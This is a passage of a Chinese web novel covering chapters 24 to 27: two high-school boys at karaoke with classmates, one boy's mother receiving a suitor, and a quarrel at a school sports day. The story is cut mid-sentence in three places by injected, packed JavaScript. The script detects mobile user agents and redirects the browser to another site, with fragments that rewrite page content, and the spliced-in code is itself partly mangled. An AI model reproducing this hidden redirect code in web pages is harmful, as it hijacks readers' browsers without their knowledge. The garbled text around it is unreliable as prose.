音响的声音很大,将空气里的每一个粒子震得颤动,齐大彬脸上满是对自己歌声的自豪和享受,闻旋拿手挡在孔栩耳边说了什么,可是歌声太大,孔栩没有听清,反而用迷茫的眼神看着她,闻旋这次大声说:“这歌是齐大彬唱给自己暗恋的女孩儿的!” 紧随其后,罗鸣玉八卦的声音从对面传过来:“我就说,难怪在家苦练唱功,就为了这天一鸣惊人啊。” 齐大彬目光迷离,面色通红,羞愤欲滴,唱到最后悲惨地走了个调,他直接停下来:“你们要不拿个喇叭喊呢?!” 部分知道内情的同学一并笑出声,孔栩也乐得肩膀一耸一耸的,齐大彬幽幽地看了眼孔栩,很没眼力见地挤在孔栩和邱以星中间,搞得邱以星很想把齐大彬捏成一团扔出去。 孔栩问齐大彬:“你喜欢谁?” “别问了,反正她不喜欢我。”齐大彬面露失落。 “你再去唱一首,”孔栩鼓励他,“说不定就拨动人家的心弦了呢。” “拨不动,”齐大彬提不起劲,“人家已经有男朋友了。” 孔栩:“……” 齐大彬歪在孔栩身边赖着不走,邱以星故意在他耳边轻轻说:“那你真惨呀,边儿上哭去吧。” “我靠邱以星,你还有没有人性啊?”齐大彬幽怨地含泪孤身一人坐到角落,决定暂时与邱以星绝交十分钟。 邱以星连忙坐到孔栩旁边,目光炯炯地看着附近,坚决不允许再来旁人插足。 接下来轮到闻旋的歌,闻旋唱歌竟然意外的不错,动感十足,超级自信,孔栩也跟着节奏一块晃。 闻旋一唱就停不下来,一连唱了五首,最后被罗鸣玉生拉硬拽拖下来,她还唱饿了,说想点外卖,问还有谁要吃,一起点了。 她话音一落,一呼百应,纷纷举手要吃,她便耐心地挨个问吃什么。 孔栩发现闻旋很能调动周围的气氛,同时也非常会做安排,果然是当班长的料子,不禁多看了两眼,邱以星两根手指突然夹住他的下巴,把他的脸扭回来:“你想吃什么?” 他不能留太晚,何斯清还在家里等他。孔栩想这么告诉邱以星,可望着目光灼灼的邱以星,觉得自己走了,邱以星不就是一个人了吗? “我想吃辣的,”孔栩突发奇想,“炸鸡怎么样?” 邱以星对闻旋说:“我和孔栩都点炸鸡,加辣,谢谢。” 闻旋眯眼看了他俩一眼:“嚯,现在口味都一样啦?” “没错,一样辣!”孔栩在震耳欲聋的歌声里说,“我出去一下!” 孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016801|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栩在门外给何斯清发信息,说自己和朋友聚餐,晚上不回去吃饭,何斯清没说什么,让他别玩太晚,明天还要上课。孔栩从来没跟朋友大晚上的在外面玩过,心虚地找何斯清报备之后,推门回到自己的座位。 邱以星看上去有点心不在焉,不知道在想什么,孔栩问他:“你要不要去唱歌,他们叫你来,肯定想让你唱。” “你呢,”邱以星回问他,“你想我唱歌吗?” “我看过你弹吉他,”孔栩说,“罗鸣玉之前给我发你弹吉他的视频,我当时想,你唱歌或许也不错。” “那我唱一个吧,”邱以星清了清嗓子,“你想听什么?” 孔栩说:“徐如夜的《有穷》,你会不会?” 邱以星:“歌神的成名曲?我试试。” 旁人听到邱以星要唱歌,连忙给他切到歌曲的伴奏。 这首歌是徐如夜二十岁那年写的,那时候的徐如夜穷困潦倒,爸妈欠了一屁股债,他四处打工跟在后面还债,有天半夜要钱的带着一帮人轰隆轰隆地踢他家的门,他们一家三口暗中抱在一起瑟瑟发抖,徐如夜趴在地板上写了这首歌,发誓永远铭记这一天,再也不要过这种充满恐惧与噩梦的日子。 这首歌饱含着愤怒与力量,邱以星没当众唱过,但他天生乐感就不错,一般的歌听过一遍就会唱,此刻整个包厢充塞了他激情澎湃的歌声,刚刚还在闲聊的人停止了说话,纷纷看向邱以星。 还有人举起手机开始拍照录像,闻旋看了提醒大家说:“邱以星同学同意之前,不要随意上传到别的地方哦。” “这么帅的脸,我怎么舍得传给别人,当然是私藏啦。”有人笑着说,“唱得比徐如夜的好听,星探什么时候把邱以星挖走?这张脸不在大屏幕上出现简直是没天理啊!” “没错,让徐如夜现在唱,也唱不出这首歌的风味,年轻人写的歌果然还是要年轻人唱才可以嘛。” “哇,你好大胆,说徐如夜老的人已经被他全平台拉黑了!” “没事,我早八百年就被他拉黑,有本事拉黑人,没本事出来写歌……” 邱以星闭着眼唱到最后一个高音部分,孔栩一个激灵,坐直了身体,身体仿佛过了一阵电。 孔栩自小弹琴,他最擅长的是模仿名家的演奏,能模仿得九成相似。可是易姝心却总说他差一点,这一点就是他与名家与大师的鸿沟,如果他跨不过去,钢琴对他来说就是一条死路。 可易姝心的话太抽象,他缺乏的恰恰不是靠没日没夜地练习能够习得的东西,而是需要他沉下心,加倍用心感受。 听着邱以星的歌声,他好像明白了他苦练却仍然欠缺的那部分。 不能仅仅用动听来形容,还有暗藏在其中的更汹涌的情绪,邱以星的音域很广,好听跟旋律节奏与他的音色有关,还有更深的东西埋在冰山之下,孔栩无法准确地捕捉。 邱以星唱完一首歌,所有人都在嚷嚷让他再来一首,邱以星却拒绝,他说:“有点闷,我出去透透气。” 孔栩见他把话筒递给闻旋,推开门走了出去。 25. 第 25 章 这时薛敏来到孔栩身边,她笑容有些腼腆,跟他打了个招呼:“孔栩,好久不见,你最近怎么样?” 听这语气,似乎是个熟人。 孔栩有些纳闷,他对女孩没印象,于是没有回答。 薛敏像是早料到孔栩的态度,说:“没事,你不记得也正常,我叫薛敏,初中是你隔壁班的,听你弹过几次琴,我上次还和我爸妈去大剧院看了你的演出。” 孔栩这才提起几分兴趣:“你也喜欢弹钢琴?” 薛敏如实回答:“倒也没有,小时候学过几年,后来觉得痛苦天天在家哭,我爸妈受不了,就把钢琴送给楼下小孩了,换我天天听他哭。” 孔栩笑:“练琴确实是件枯燥无聊的事。” 薛敏认同地点点头,又凑近一点儿,点开自己手机微信二维码,对孔栩满是期待地说:“可以加个微信吗?毕业前就想加,可你太高冷,平时没人敢开你玩笑跟你讲话,我犹豫太久就错过机会了……可以吗?” 罗鸣玉使劲揪闻旋的袖子,朝她使眼色,闻旋会意地扭过头,怂恿孔栩:“就一个微信而已,给个也没什么,我们敏敏不会打扰你的。” 孔栩神色略微松动,或许是此刻的场景令他感到愉快,他很少有机会跟这么多人在一起玩,多接触外人也没有不适之处,反倒让他有种作为局外人的放松感。 于是他从口袋掏出手机,扫了薛敏,加她好友。 这一幕被推门进来的邱以星撞见,邱以星先是露出一丝疑惑,望见孔栩手里的手机,与他对视一眼,突然就全明白了。 孔栩的手一抖,眼角直跳:“那什么,我——” 邱以星扭头又出去了。 “诶!”闻旋叫孔栩的名字,“小木鱼,你去哪儿,我还没听你唱过歌呢……” 孔栩追着邱以星的背影,说起来是有点后悔的,一开始骗他自己不用手机,哪知道他当真了。 邱以星没走多远,他靠着走廊光滑的墙壁,垂头看着脚尖。 孔栩理直气壮来到邱以星面前,刚要解释,邱以星闻声看了他一眼。 “那个女孩……” “其实我……” 两人一同开口,孔栩忘了要说什么,邱以星也停了下来:“你先说。” 孔栩把话在脑子里过一遍,然后说:“其实我有手机,我当时只是不想加你胡诌的。” 邱以星说:“我知道。” 孔栩惊讶:“你怎么知道?” 邱以星闷声说:“很明显吧,你看过我弹吉他的视频,是在哪看的?” 孔栩一时语塞,邱以星又问:“你喜欢……那个女孩是吗?” “啊?”孔栩更惊讶了,不知道邱以星何以得出的这个结论,“我跟她又不熟,为什么喜欢她?” 邱以星仔细观察孔栩的表情,可孔栩太诚恳,他找不出一丝一毫的破绽,只好勉强相信:“哦。” “回去吧。”孔栩觉得有点尴尬。 邱以星却幽幽地说:“这就算了?” 孔栩面颊上浮起一丝恼意,觉得邱以星也太不识相:“那你想干什么?” 邱以星:“也加一下我吧。” 孔栩:“行。” 邱以星厚颜无耻地追加条件:“把我置顶。” 孔栩想自己本来就没几个好友,置不置顶没区别,又想着毕竟是自己骗邱以星在先,遂答应:“可以。” 邱以星说:“给我备注‘全天下最好的邱以星’。” 孔栩忍无可忍,直接上手捏住邱以星的嘴唇:“我给你备注‘全天下最烦人的邱以星’。” 邱以星变成一只扁嘴鸭,说不出话,嘴里哼哼唧唧,睁大眼示意孔栩背后有人,孔栩回头看见外卖小哥抱着外卖箱目光炯炯地看着他们。 “哦,是我们的,我拿进去就好了。”孔栩忙说,“谢谢啊。” 小哥跟他核对好,孔栩和邱以星便把外卖拿进包厢,玩了这么长时间大家都饿得前胸贴后背,见到吃的眼冒绿光,纷纷找到自己的食物,狼吞虎咽地吃起来。 孔栩捧着一盒香喷喷的外表金黄酥脆的炸鸡,他左边是邱以星,右边是薛敏,薛敏忽然吸了吸鼻子:“孔栩,你的炸鸡好香啊。” “你来一块吗?”孔栩有些不情愿地问薛敏,他有点护食,炸鸡一年到头他也吃不了两回,何斯清向来禁止他吃这种垃圾食品,每回在学校买泡芙也得避着何斯清,薛敏说的话,他不能当没听见,只好装一下客气。 邱以星忽然插嘴:“你自己的不香吗?” 薛敏干笑一声:“我……” 孔栩忙把块炸鸡塞邱以星嘴里:“行了,闭嘴吧,吃你的。” 邱以星一边嚼嚼嚼,一边含混不清地继续喋喋不休:“嗯,还是你喂的最香。” 孔栩朝薛敏露出无奈的笑容:“他是个傻子,你别介意。” 薛敏莞尔一笑:“没想到你还有这样一面。” 孔栩不解:“我哪面?” 薛敏:“嗯……意外的平易近人的那一面?我之前一直都以为你不苟言笑,满脑子都只有钢琴,没想到人这么好说话,并没有我想的那么难接近。” 孔栩:“这算夸奖吗?” 薛敏面色有一点微红:“看你怎么想了。” 孔栩:“那我就当夸奖了。” 薛敏便抿嘴笑起来,又跟孔栩聊了些有的没的,孔栩偏偏还都接茬,邱以星坐在一旁如坐针毡,炸鸡又辣,他四处找水没找到,齐大彬便把还没开封的饮料递给他,嘱咐说:“别喝多了啊。” 邱以星满口答应,心里却说小气不死你。仰头一口喝了大半瓶,齐大彬扯着嗓子叫起来:“我靠,别这么牛饮,悠着点儿行吗?这是果酒,有度数的!” 孔栩的注意力终于重新回到他身上,他把邱以星手里精致的玻璃瓶夺了下来,摸了下他的脸,有点发烫:“你感觉怎么样?” “没事。”邱以星吐出两个字,孔栩松了口气,又听他慢吞吞地说,“就是有点晕。” 孔栩伸手往邱以星的口袋里掏出来两颗糖,剥开塞邱以星嘴里:“你含一会儿,别喝了。” 邱以星安安静静地含着糖,青梅酒的甜味被奶糖味取代,其实他一点事也没有,头晕也是装的,不过装着装着就开始犯困,靠着孔栩单薄的肩膀,闭上眼睛。 闭上眼对声音更敏感了,朦朦胧胧里听到孔栩对闻旋低声说带他走,闻旋却不赞成地塞给他一个话筒:“这么早啊?唱完再走吧。” 孔栩低头看了眼邱以星,对闻旋说:“好吧,就一首啊。” 这是一首男女对唱的情歌,不知是谁点的,唱的时候发现就剩孔栩手里这一只话筒了,大家找了半天无果,孔栩便一个人唱。 不知何时邱以星偷偷睁开眼,近距离打量孔栩的侧脸。 孔栩这天生就薄情的嘴唇微微张开,轻声唱着:“想把我唱给你听,趁现在年少如花,花儿尽情地开吧,装点你的岁月我的枝桠……” 邱以星在心里轻轻地无声地和着:谁能够代替你呢,趁年轻尽情地爱吧,最最亲爱的人啊,路途遥远我们在一起吧。 长久冰封的黑暗里照进一道光,孔栩的声音与他心里的声音叠在一起: 我最最亲爱的人啊 路途遥远我们在一起吧 邱以星的脸微微一热,情不自禁往孔栩颈窝蹭,心里像是揣着一只活蹦乱跳的兔子,疯狂旋转跳跃。大概是缓缓发散的酒精入侵了他的大脑,此刻他的大脑浑浑噩噩,运转滞涩,总想往孔栩身上贴,闻他的味道。 孔栩吃完东西又唱了歌,身上暖烘烘的,那股淡淡的木质香气也越发浓郁起来,周围细碎的说话声让他觉得刺耳,很想把他们都赶走,全世界只剩孔栩就好了,他又恍惚觉得他们还在琴房,孔栩笑着问他想听哪首歌。 他咬紧牙关,情不自禁地哆嗦了一下,孔栩第一时间察觉,放下话筒也不唱了,直接扶起他,对闻旋说:“班长,我们真要走了,他好像不太舒服。” 邱以星随之呆呆地站起身,另外几个话筒从他身后掉出来,闻旋见邱以星确实没什么精神,不计较他藏话筒的事,反而一脚踢向齐大彬:“让你点酒。” 齐大彬十分委屈,可也不能辩驳跟自己毫无关系,嘴里嘟囔着:“下回不点了,我去送送他们,打牌等我啊。” 闻旋朝他们挥挥手,邱以星便跟不能自理的残疾一样,被孔栩和齐大彬一左一右地架了出去。 外面流动的空气令人感到舒适,微微的冷风一吹,邱以星稍微回了几分神志。 齐大彬惦记着打牌,问邱以星:“你怎么样?” “我没事,你回去吧。”邱以星说。 孔栩也说:“这有我,你回去打牌吧,晚了班长她们就不带你玩了。” 齐大彬一听,匆匆忙忙对孔栩说:“谢了啊,到家在群里报声平安。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016802|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孔栩点点头,齐大彬忙不迭转身走了。 “我是不是很扫兴?”邱以星见齐大彬走远,商场外人头攒动,国庆节的各种布置高高悬挂,显得喜庆而热闹,邱以星的掌心却一片冰凉,朝孔栩笑了笑。 他笑得漫不经心,脑子里乱糟糟,理不清楚头绪。 “没有,我也呆腻了。”孔栩觉得邱以星不太对劲,用手一贴邱以星的额头,热度已经褪下去,脸却显得更红。 他柔声说:“还难受吗?你在这等我,我给你买水喝。” “不用,你别走。”邱以星不知道自己是怎么了,不愿意让孔栩去往视线之外,他深深凝望孔栩琥珀色的眼睛,浅浅的光投进来,无端添了几分轻盈的稚气。 孔栩天真地抬起一边的眉毛,面露疑惑:“邱以星,我发现你有点怪。” 邱以星眼睛一眨,视线垂落在孔栩的嘴唇,他莫名其妙地心虚:“我……我哪儿怪了?” “怪好看的。”孔栩不知从哪儿学来的土味台词,他看着邱以星变幻莫测的脸,得逞一般笑出声,“哈哈哈你这是什么表情!” 邱以星翻了个白眼,低声回了一句:“你什么毛病。” 孔栩的手顺其自然地搭在邱以星的肩膀上,他忽然觉得邱以星还挺好玩的,偏头轻轻撞了一下邱以星的头,嘴里说着:“毛病值+1。” 过了好一会儿,他们从商场门口走到对面马路,邱以星才慢半拍地反应过来孔栩说了什么,脚步一顿,耸起肩膀笑得浑身颤抖:“别给我敲,我才不要有毛病。” “不行不行,有福我享,有难同当啊!”听到邱以星这么说,孔栩更加来劲了,搂紧邱以星的脖子,非要再撞一次。 邱以星哭笑不得,掌心抵住孔栩额头,偏不让他撞:“你怎么这么幼稚。” “幼稚不好吗?”孔栩没道理地狡辩,“说明我风华正茂,青春年少。” 邱以星半推半就间让孔栩再轻轻撞了一下,一阵风吹来,孔栩前额一缕乌黑的发丝被吹得上翘,他微笑着说:“年轻值+1。” “那还真是谢谢你了!”邱以星说。 孔栩大方摆手:“不用谢。” 之前的孔栩跟此时的判若两人,谁能想到总板着小脸的孔栩还能这么跟人打打闹闹的,邱以星又有些不是滋味地想,孔栩其实跟谁都能玩到一起去。 他才不是特例。 孔栩一边笑,一边顺手接过马路边大学生模样的人发的传单,他自己拿了一张,也给邱以星拿了一张。 邱以星神思不属,把传单卷吧卷吧塞进裤子里,孔栩也随意地折叠传单,四角对折,折成一只纸飞机,在手里把玩。 他深吸一口气,回头对邱以星说:“你觉不觉得今天过得好快?” “嗯,”邱以星看着他微笑的眼睛,回答他,“是好快。” 孔栩:“天也变凉了。” 邱以星:“嗯。” 孔栩:“我今天一整天都没练琴。” 邱以星:“那怎么办?” 孔栩:“我刚刚在想,如果哪天我没有练琴会怎么样。” 邱以星:“会怎么样?” 孔栩边想边说:“我妈肯定会生气,骂我没有上进心,其实偶尔一天不弹琴也没什么吧,搞得好像如果哪天我不练琴就会把之前学的全部忘干净。” 邱以星:“不会那样的,你这么聪明。” 孔栩笑着点头:“没错,我这么聪明。” 邱以星:“怎么还自己夸起自己来了。” 孔栩想也不想地说:“我就是很聪明啊,我长得好看,学习成绩数一数二,弹琴也厉害,就算不弹琴我也能过得很好。” 邱以星服了:“别扎我的心了行不行。” 孔栩忽然凑近他:“你也很好啊。” 邱以星心里一动,数他长而浓的眼睫毛:“哪儿好?” “你唱歌好听,长得帅,读书努力,知错就改。关键是,”孔栩说,“对我很好,继续保持啊邱以星,孔老师很看好你。” 邱以星没想到自己在孔栩这还能找出几个优点,低头轻笑一声:“好。” 他们分开后,孔栩踏着轻盈的脚步回到家,拉开门,他看见玄关处摆放着一双黑棕色的男士皮鞋。 孔栩家只有何斯清与他,没有第二个男人,这鞋不是孔栩的尺码,也不可能是何斯清会买给他的类型。 他张口问:“妈,家里来人了?” 26. 第 26 章 孔栩话音一落,猝不及防与客厅内一个陌生男人打了个照面。 男人长相端正英俊,看不太出年纪,一看见孔栩便立即从椅子上起身。 孔栩率先有礼貌地叫了声:“叔叔好。” 这位“叔叔”面露一丝尴尬,颇为局促地搓了搓手指,对孔栩说:“你回来了啊。” 孔栩内心升起几分诧异,不像是寒暄,有点试探的意味。 又看向何斯清,何斯清的目光也流出一丝不自然,她甚至明显地躲了一下孔栩询问的眼神:“你不是说还有一会才回来吗?” “结束得比较早,”孔栩仿佛明白了什么,朝他们笑笑,“叔叔你和我妈聊,我回房了。” 何斯清想对他说什么,张口几次,最后还是什么都没说。 孔栩则在想,他妈的第二春来了,自己还是不要打扰他们为好。虽然他不想要后爸,不过何斯清给自己找个伴无可厚非,她毕竟还年轻,孔栩也不希望她总一个人孤零零的。 他回自己屋后,换了一身居家服,倒在床上给邱以星发消息。 给邱以星的备注就是他本名,邱以星到家没一会儿,头像是一汪波光粼粼的湖水,孔栩头像是他某天随手拍的一朵羽毛形状的云,白色羽毛没头没脑地发出疑问:“邱以星,你爸是个什么样的人?” 邱以星很快回复:怎么了? 孔栩:有点好奇。 邱以星:我爸跟大多数人的爸爸差不多吧,他在银行上班,工作很忙,要赚钱养家,经常加班,非常辛苦。 孔栩懒得打字,给他发语音:不是这个意思,我是说他在你眼里是个什么样的爸爸?比如说你小时候他会把你抱在脖子上骑大马啊,或者带你去爬山,你如果爬不动他会抱着你往上爬,告诉你不要放弃,山顶有更美的风景——那种能写进作文里的,父爱如山沉默寡言类型,或者爱讲道理以身作则型,还有那种跟孩子打成一片的良师益友型,你爸爸属于哪种? 过了好半天邱以星才慢吞吞地说:为什么这么问? 孔栩:我从小没爸,想象不出来,想问问你。 邱以星这回没打字,反而给他打来一通语音电话,邱以星的声音被编码成一串数字信号,几个毫秒后经由转换,被孔栩的耳朵读取,他如同贴在孔栩耳侧,带着一丝惴惴,问他:“你爸爸他……” “别误会,没死,不过跟死了没什么两样。”孔栩在床上翻了个身,长长地叹了口气,“有一年我去小姨家拜年,听他们几个大人聊天,他们没注意到我在桌底下玩积木。我一边玩一边听他们闲聊,说我爸在我妈怀孕那会儿出轨,我还没生下来,他们就办了离婚,我长这么大还没见过我爸。” 邱以星松了口气:“我爸是个比较传统的人,对我各方面的要求都比较高,平时太忙也没什么时间陪我,如果硬要分类,他应该分在‘爱讲道理’那一类里。” 孔栩撇撇嘴:“我不喜欢爱讲道理的,跟家里住了个柴晓驰一样。” 邱以星笑:“你怎么还挑起来了?” 孔栩:“我妈在给自己物色男友,她男友岂不是我后爸。” 邱以星:“后爸?” 孔栩敞开了心里话:“其实我小时候挺想要个爸爸的,亲子运动会上都是爸爸上阵,我妈有课就来不了,来了也是倒数,别的小朋友都在欢呼自己的胜利,而我看我妈跑得气喘吁吁,满脸通红,心里特别委屈难过。凭什么我妈妈那么努力,还是最后一名?就凭她是个女人,她平时不锻炼,体力明显比不过那些体格健硕的爸爸们。那时候我就想,我亲爸要是被车撞死了就好了,我就能够原谅他无法在场,他是真的没办法,而不是赢不了。” 邱以星不知道怎么安慰孔栩,好在孔栩也不需要安慰,他自我开解,好像他妈找后爸的事情已经板上钉钉:“后爸就后爸吧,他们要是过得幸福,我也没什么话好说的。” 孔栩心里有一本账单,清清楚楚地记着小时候何斯清在他手心抽过几棍,痛骂过他哪些字眼,口不择言时甚至让他滚出家门,可却又记得大雪天何斯清高烧,她自己头昏脑涨却仍然背着年幼的他小心踏过一地湿滑的雪面。 他继承了何斯清倔强而暴躁的脾气,吃软不吃硬。 两块又臭又硬的石头撞一起不是你死就是我亡,明知自损一千也要杀敌八百。 可也真的狠不下心,凿开坚硬的外壳,内里是一颗柔软的心。 “唉,烦死了。”孔栩思来想去,越想越乱,在床上打滚,翻来覆去的动静令邱以星忍不住笑出声。 孔栩板起脸:“不许笑。” 邱以星:“你怎么这么霸道。” 孔栩:“你第一天认识我?” 邱以星说:“小木鱼,顺其自然吧,别这么烦恼,或许事情根本不是你想的那样呢。” 孔栩想了想,也是,说不定都是自己自寻烦恼,他心里好过一点,却又不想撂电话,盯着天花板上的灯盯得太久,眼中出现一个圆形的光斑,他听到邱以星的呼吸声近在耳畔:“邱以星。” 邱以星:“嗯?” 孔栩:“邱以星邱以星邱以星邱以星。” 邱以星笑着问:“你语言系统出故障了?” 孔栩:“我明天早上想吃你家楼下的炒饼。” “光吃饼太干了,”邱以星说,“加杯豆浆吧。” “好的。”孔栩又喊邱以星的名字,“邱以星。” 邱以星不厌其烦地回应:“嗯?” “明天见啊。” 邱以星说:“明天见。” 此刻邱以星正如同一只无家可归的幽灵一般徘徊在自家楼下。 他没有进家门,蹲在花坛旁边借着月色数路过的蚂蚁,每一只蚂蚁都有自己的家,沿着固定的轨迹东边嗅嗅西边探探,数到第十六只时孔栩给他发了消息。 孔栩挂电话前对他说“明天见”,孔栩第一次对他说“明天见”。 他没有跟孔栩说过其实他每天回家都要在楼下酝酿好大一番勇气,挤出一个不太像自己的微笑,才敢踏入家门。 每天睁开眼的那刻,都暗自告诉自己没关系,天不会塌,地不会陷,他能活着就是上天对他最大的美意,可是这些鼓励自己的想法像是水蒸气,只能维持片刻就蒸发干净了。 邱以星不是捂住耳朵就能够装听不到钟响的人,恰恰相反,即使他蒙住眼遮住耳也会极力感知附近的动静,甚至到了草木皆兵的地步。 他并不期待假期,假期一到,邱远和尚问兰便都会放假,一出房门就会看见他们,所以邱以星当着他们面说自己去图书馆学习会更有氛围,一直在外面留到很晚才回家。 邱以星害怕邱远问他最近成绩怎么样,模拟考如何,怕尚问兰买很多石榴榨汁端给他喝,怕他们看他的眼神,怕他们无声地质问他为什么不像邱以睿。 他好像一直在持续性地做噩梦,一场总也无法醒来的噩梦。 可孔栩对他说“明天见”。 这三个字仿佛被注入神奇的魔力,如果明天能够见到孔栩,那么他就有胆量面对此时此刻无边的孤独与恐惧。 再撑一秒,再熬一个小时,再忍受一天……邱以星想,这一生或许就这样过去也说不定。 念及此,他抬起脚,稍微振奋精神,往家的方向走去。 * 寒露惊秋晚,朝看菊渐黄。 假期转瞬即逝,时间又变得无比漫长起来,好在下周一举办秋季运动会,大家对于返校才没有那么抵触。 不过运动会孔栩和邱以星都没有报名任何项目,孔栩是纯粹没有运动细胞,不论田赛还是径赛没一个能拿出手,邱以星则是柴晓驰不让他参加,并歹毒地想出一条计策,让他充当拉拉队,煽动现场气氛,把别的班的喝彩全给赚过来,不管赢没赢,声势要到位。 邱以星不情不愿地接下任务,最近学习成绩是他心头隐患,柴晓驰的面子还是要给,万一他对自己表现不满,直接捅到他爸妈那去,那就麻烦了。 开幕式结束后,马上是男子一百米短跑预赛,柴晓驰搬了条折叠凳老神在在地坐在终点,高中第一次开运动会,大家的心情可想而知的激动与紧张,不停地为自己班级大声喊加油。 邱以星这个人形靶子还被柴晓驰塞了个红色大喇叭,他穿着校服,在一众平平无奇的面孔中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016803|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得长身玉立,脖子上挂着个志愿者的牌子,走哪儿都围着一圈人,有自己班的,也有别的班的。 柴晓驰的攻心策略显然起了奇效,孔栩坐在柴晓驰旁边,用手挡着早晨九点钟的太阳光,给柴晓驰竖起大拇指:“真够高啊柴老师,都给咱们班加油来了,不知道还以为咱们有一百多号人呢。” 柴晓驰给了他一个“那可不”的眼神:“过会儿你去换他。” 孔栩万分抗拒:“一个显眼包还不够啊?我才不去。” 柴晓驰冷不丁地开口:“孔栩,你最近辅导邱以星,跟他走得近,你偷偷告诉老师,他收那么多情书,不会早恋了吧?” 这话题转得也太快,孔栩一愣,想了想:“应该没有吧。” 柴晓驰百思不得其解,摩挲着下巴:“他这样的,没早恋不科学啊,他那成绩简直跟坠机了似的,一降到底,实在太不科学了。” 这话说的孔栩也开始动摇……邱以星早恋了? 邱以星白天跟自己在一块一门心思地写作业,手机碰也不碰,难道是要晚上回去跟女孩子谈恋爱? 也不是没这个可能,孔栩想。 他目光投向邱以星站在不远处的身影,发令枪陡然一响,清脆的啪的一声,他们班小个头短跑健将潘宏嗖一下冲了出去,呐喊声排山倒海,邱以星尽职尽责地对着喇叭喊口号:“二班——” 他身边的人配合地喊:“加油——” 邱以星:“二班!” “加油!” “潘宏——” “加油——” 喊声嘹亮整齐,把别的班的呐喊都压下一头,潘宏果不其然拿了个小组第一,二班的学生们高兴坏了,围着他又蹦又跳,有个穿黄色运动背心的男生气不打一处来,对着邱以星翻个白眼,骂道:“哪来的傻逼,这么爱出风头。” 邱以星本不想理会,结果这人却非要添一句:“装得要死,傻逼们凑一块了。” 孔栩也听见了,眉头蹙起,正要上前理论,只见邱以星按住喇叭按钮,站直,用喇叭朝对方不紧不慢地说道:“哪个傻逼昨晚没刷牙熏到我了。” 孔栩心想这都怪柴晓驰非要搞什么阵仗什么声势,搞出麻烦了。 柴晓驰搬着板凳快步走远,临走一拍孔栩的肩膀:“你们自己搞定啊。” 孔栩:“……” 邱以星按的是循环播放按钮,于是他的那句“哪个傻逼昨晚没刷牙熏到我了”说了一遍又一遍,把附近不明所以的人都吸引过来了。 孔栩并非喜欢凑热闹的人,他见到有人发生冲突一般都是躲着走,生怕殃及自身,不过这次他实在看不过眼,脚下生风愤愤不平地走到那人面前:“你骂谁呢?道歉!” 邱以星见到孔栩,立即把喇叭关了。 黄背心有些理亏,嘴上仍旧不饶人:“怎么?仗着你们人多就欺负人吗?” 孔栩牙尖嘴利地回应:“你是人?人科倭黑猩猩属的吧。” 黄背心本就长得黑,龇牙咧嘴跟倭黑猩猩长得如出一辙,孔栩话音一落,有人爆发出锐利的笑声,他气得上前一步,疑似想用肢体动作解决问题,邱以星飞快挡在孔栩面前,孔栩扒着邱以星的手臂,从他身后露出半个脑袋,邱以星对黄背心冷冷地说:“道歉。” 闻旋这时也带着人过来了,她不明白这边出了什么状况,一脸焦急仿佛在寻什么人。 罗鸣玉一嗓子吼道:“干什么呢这么多人,要打架啊!打一个试试,明天就给你退学喽。” 黄背心被她猝不及防的大嗓门吼得颤了三颤,他身后没人帮他说话,本来当众骂人就上不了台面,他们班的同学纷纷让他道个歉就算了,让老师知道就不好收场了。 孔栩看见他嘴唇动了动,没听清说了什么,于是他从邱以星手里拿过喇叭:“声音大点儿!” “……对不起。”黄背心细若游丝地哼唧一声,转身就跑了。 孔栩对着他背影挥挥手,笑容灿烂:“慢走不走。” “哎呀,别挥了,出大事了!”闻旋一把将孔栩在半空的手臂扯下来,“齐大彬早上吃坏东西,拉肚子,跑了五趟厕所了!” 27. 第 27 章 平时吃坏肚子,多跑几趟厕所也没什么,可关键是齐大彬参加了男子投掷,他拉得手脚软成面条,还是最坨的那种,压根不能把自己从坑里拔起来,更别提是需要全身使劲的投掷铅球。 如果他不能上场,则意味着他们班在这个项目上最少损失6分,投掷是齐大彬的强项,也是他们班势在必得的项目。 齐大彬肠子都悔青了,早上不该喝那包过期酸奶。 他用尽全部意志力试图站起身,可不出一秒就泄气,欲哭无泪,只想框框撞墙,死了算了。 闻旋揪着孔栩,激动地说:“我记得你报名替补了!” 孔栩“啊”了一声,语调上扬:“我替补啊?” 柴晓驰这时候悄无声息地飘过来:“去吧,能拿个牌最好,拿不了也没事,重在参与。” 孔栩报名替补完全是个偶然,闻旋撺掇他一年一次的体育盛事怎么能毫无参与感,就算不上场,留个名也是好的。 没想到竟然还真让他赶上了,他想,齐大彬不会以为是我给他下药了吧? “可我没练过几次铅球,”孔栩忧心忡忡,“我能行吗?” “你没练过铅球,可你弹钢琴手劲那么大,这俩不都差不多嘛?” 孔栩怒道:“这差多了好吗!” 